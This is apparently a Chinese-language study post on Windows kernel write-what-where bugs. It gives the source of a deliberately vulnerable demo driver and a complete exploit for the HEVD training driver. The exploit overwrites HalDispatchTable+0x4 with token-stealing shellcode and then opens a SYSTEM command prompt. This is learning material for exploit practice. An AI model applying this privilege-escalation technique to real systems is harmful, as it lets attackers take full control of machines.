任意内存覆盖 对于 那些比较老旧的系统而言 我感觉还是比较简单的
但是对于那些 新的系统 新加的那些保护来看的话 估计就比较困难了
先说0day的那个demo 驱动的代码如下
/********************************************************************
created: 2010/12/06
filename: D:\0day\ExploitMe\exploitme.c
author: shineast
purpose: Exploit me driver demo
*********************************************************************/
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;
/**********************************************************************
驱动派遣例程函数
输入:驱动对象的指针,Irp指针
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
/**********************************************************************
驱动卸载函数
输入:驱动对象的指针
输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
驱动入口函数(相当于main函数)
输入:驱动对象的指针,服务程序对应的注册表路径
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句调试信息
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
//创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//设置该驱动对象的卸载函数
driverObject->DriverUnload = DriverUnload;
//设置该驱动对象的派遣例程函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功结果
return STATUS_SUCCESS;
}
这一眼就能看出来利用点在哪
不过有一点比较好奇 当我把这个sys 拖入ida 里面看的时候
取出来的buf 为啥解析的有点问题呢=== 是偏移量不对么00000 感觉是个坑=== 一开始和我一个朋友 还特地去 扒了一下 MSDN
然后去看各种资料 去找到了这个结构===
然后 溢出点就在
可以 根据他来修改 任意的地址内存 那么也就是说 我们可以把一个不常用的系统函数的指针传进去 改成shellcode 的地址
这里就不详情看这个demo了 这里书上介绍的方法就是把shellcode 的地址改成0 然后再把 一个不常用的函数地址改成0 就可以了
下面重点介绍一下 HEVD 的任意任意内存覆盖漏洞
先看一下 关键代码
咦 = 这里我们可以去看看 ProbeForRead 这个函数 因为这里看到了 用 ProbeForRead 判断了这两个函数
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforread
这个是MSDN 的解释 实际上就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中 也就是说 检查 缓冲区是否在 r3 程序中===
如果不检查的话 也可以按照上面的思想去搞这个题目 这里的不常用的函数指针 就是 HalDispatchTable+0x4
至于shellcode 的 pop 可以看
可以搞定了==
获取这个函数的地址的方法 可以看exp===
exp 如下
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#define Write_What_Where 0x22200B
HANDLE hDevice = NULL;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
static VOID ShellCode()
{
_asm
{
//int 3
pop edi // the stack balancing
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn)
CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
LPVOID NtkrnlpaBase()
{
LPVOID lmbase[1024];
DWORD lpbet;
TCHAR lpName[1024];
EnumDeviceDrivers(lmbase, sizeof(lmbase), &lpbet);///需要枚举所有的设备驱动地址,这里可以使用EnumDeviceDrivers
for (int i = 0; i < 1024;i++)
{
GetDeviceDriverBaseNameA(lmbase[i], lpName, 100);
if (!strcmp(lpName,"ntkrnlpa.exe"))
{
return lmbase[i];
}
}
return NULL;
}
DWORD32 Getfunction_off()
{
LPVOID lpbase = NtkrnlpaBase();
if (lpbase == NULL)
{
return 0;
}
printf("[*] Get Base : %x", lpbase);
HMODULE ntkrnlpabase = LoadLibrary("ntkrnlpa.exe");
PVOID pHalDispatchTable = GetProcAddress(ntkrnlpabase, "HalDispatchTable");
DWORD32 hal_4 = 0;
hal_4 = (DWORD32)lpbase + ((DWORD32)pHalDispatchTable - (DWORD32)ntkrnlpabase) + 0x4;
printf("[*] Get function %x", hal_4);
return hal_4;
}
VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;
exploit.Where = (PULONG_PTR)where;
exploit.What = (PULONG_PTR)& what;
printf("[+]Write at 0x%p\n", where);
printf("[+]Write with 0x%p\n", what);
printf("[+]Start to trigger...\n");
DeviceIoControl(hDevice,
Write_What_Where,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);
printf("[+]Success to trigger...\n");
}
int main()
{
DWORD interVal;
hDevice = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("[!] open hDevice error\n");
return 0;
}
DWORD fun_addr=Getfunction_off();
if (fun_addr == 0)
{
printf("[!] fun addr error!!!");
return 0;
}
else
{
Trigger_shellcode((DWORD32)fun_addr, (DWORD32)&ShellCode);
}
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
NtQueryIntervalProfile(0x1337, &interVal);
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
}
ok =====